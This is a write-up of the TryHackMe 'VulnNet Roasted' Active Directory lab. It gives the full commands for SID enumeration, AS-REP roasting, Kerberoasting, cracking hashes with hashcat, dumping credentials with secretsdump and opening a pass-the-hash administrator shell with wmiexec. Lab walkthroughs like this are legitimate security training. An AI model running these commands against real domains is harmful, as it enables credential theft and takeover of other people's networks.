Post cover image

July 19, 2026

VulnNet Roasted — TryHackMe Active Directory Write-up

In this write-up, I document the process followed to solve the VulnNet Roasted room on TryHackMe. It is a simple Active Directory challenge…

By Kavin Jindal

4 min read

In this write-up, I document the process followed to solve the VulnNet Roasted room on TryHackMe. It is a simple Active Directory challenge that requires us to carry out AS-REP Roasting to obtain the password for a low-privilege user followed by Kerberoasting to gain credentials of a service. After that we use those credentials to find the password of a higher privileged user in a VB Script file stored in the NETLOGON share. We use those credentials to dump SAM hashes of the Administrator which are then leveraged to gain elevated access to the target.

-0x00: Enumeration

  • As usual, I started with a TCP scan on the target via Nmap.
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.49.151.250 -oA nmap
# Nmap 7.95 scan initiated Sun Jul 19 18:58:38 2026 as: /usr/lib/nmap/nmap --privileged -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap 10.49.151.250
Nmap scan report for 10.49.151.250
Host is up (0.016s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-19 13:28:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-07-19T13:28:53
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 19 18:59:31 2026 -- 1 IP address (1 host up) scanned in 52.38 seconds
  • The scan makes it very obvious that the target is hosting an Active Directory environment.
  • I enumerate SMB via smbclient and find the following shares.
None
  • VulnNet-Enterprise-Anonymous and VulnNet-Business-Anonymous shares in specific look interesting and are the only ones we can access.
  • VulnNet-Business-Anonymous in particular has the following files.
None
  • VulnNet-Enterprise-Anonymous has the following content.
None
  • All the files in the above two shares have nothing of use except the names of employees who more probably than not will have accounts in the network.
  • To gain more information on the target I enumerate the SIDs (Security Identifiers) which might reveal information on the users on the network.
  • I use impacket-lookupsid tool for this task.
impacket-lookupsid ' ':''@10.49.151.250
None None
  • As it can be seen, we have four user accounts with the same names we saw in the shares before. I use a tidbit of text manipulation to fetch the usernames and store them in a separate file for later use.
impacket-lookupsid ' ':''@10.49.151.250 | awk '{print $2}' | cut -d '\' -f2 > users.txt
None

-0x01: AS-REP Roasting

  • Here I leveraged the disabled pre-authentication in Kerberos to extract password hashes for users. I used impacket-GetNPUsers to fulfill this task.
impacket-GetNPUsers -dc-ip 10.49.151.250 vulnnet-rst.local/ -usersfile users.txt
None
  • I successfully obtained the password hash for the user t-skid .
  • To crack this hash I used Hashcat in the mode 18200.
hashcat -m 18200 pass.txt /usr/share/wordlists/rockyou.txt
None

-0x02: Kerberoasting

  • Considering I had a user credential now, I went on to conduct a Kerberoasting attack on the target to get access to a service account.
  • I used impacket-GetUserSPNs tool here.
impacket-GetUserSPNs vulnnet-rst.local/t-skid:t******* -dc-ip 10.49.170.37 -request
None
  • The enterprise-core-vn service was crackable. The -request flag returned the service ticket which could be locally cracked.
  • I again deployed Hashcat for this task in the mod 13100.
hashcath -m 13100 krbtgs.txt /usr/share/wordlists/rockyou.txt -O
None
  • The cracked password was obtained successfully.
  • I went back to the SMB shares and found that enterprise-core-vn has READ access on the NETLOGON share.
  • I used smbclient to connect to the share with the relevant credentials and found a ResetPassword.vbs VB Script file.
None
  • I downloaded the file on my machine and found the following credentials for the a-whitehat user sitting in the script.
None

-0x03: Administrator Access

  • I used the a-whitehat credentials to check for the permissions available on the target SMB Shares via smbmap
smbmap -u a-whitehat -p <PASSWORD> -H 10.49.170.37
None
  • Turns out, the user had Admin access on multiple shares.
  • I decided to dump SAM hashes for this user using impacket-secretsdump .
impacket-secretsdump vulnnet-rst.local/a-whitehat:<PASSWORD>@10.49.170.37
None
  • The Administrator hash was successfully dumped! This could be used to gain higher-privilege access to the target.
  • I used impacket-wmiexec to gain an administrator shell with the credentials I had just obtained.
impacket-wmiexec -hashes <HASH> Administrator@10.49.170.37
  • The user flag was obtained as follows.
None
  • The admin flag was found in a system.txt file as shown below.
None

With that, the room was successfully solved! I hope you found this write-up worth your time. Make sure to drop a follow for more such quality content in the future.

Happy Hacking!